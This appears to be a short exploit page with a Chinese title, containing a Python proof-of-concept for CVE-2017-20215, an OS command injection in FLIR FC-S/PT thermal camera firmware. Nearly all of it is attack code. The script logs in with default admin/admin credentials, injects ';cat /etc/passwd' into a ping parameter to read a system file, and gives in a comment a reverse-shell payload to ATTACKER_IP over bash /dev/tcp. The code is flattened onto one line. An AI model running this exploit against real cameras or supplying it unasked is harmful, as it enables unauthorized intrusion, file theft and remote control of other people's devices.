CVE-2017-20215: FLIR热成像摄像头FC-S/PT固件OS命令注入漏洞

import requests import sys # CVE-2017-20215 PoC - FLIR Thermal Camera OS Command Injection # Authenticated OS Command Injection on FLIR FC-S/PT firmware 8.0.0.64 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-camera.local' username = 'admin' password = 'admin' # Login to obtain session login_url = f'{target}/login' session = requests.Session() # Authentication request login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) print(f'[*] Login attempt completed. Status: {response.status_code}') # Command injection through vulnerable parameter # Inject command to create reverse shell or execute arbitrary command cmd_injection_url = f'{target}/cgi-bin/admin.cgi' # Example: Inject command to read /etc/passwd payload = { 'action': 'ping', 'host': '127.0.0.1;cat /etc/passwd' } exploit_response = session.get(cmd_injection_url, params=payload, timeout=10) print(f'[*] Exploit sent. Response length: {len(exploit_response.text)}') print(f'[*] Response preview: {exploit_response.text[:500]}') # Alternative: Reverse shell payload example # host='127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' except requests.exceptions.RequestException as e: print(f'[!] Request failed: {e}') print('[*] Note: Target may be offline or not vulnerable')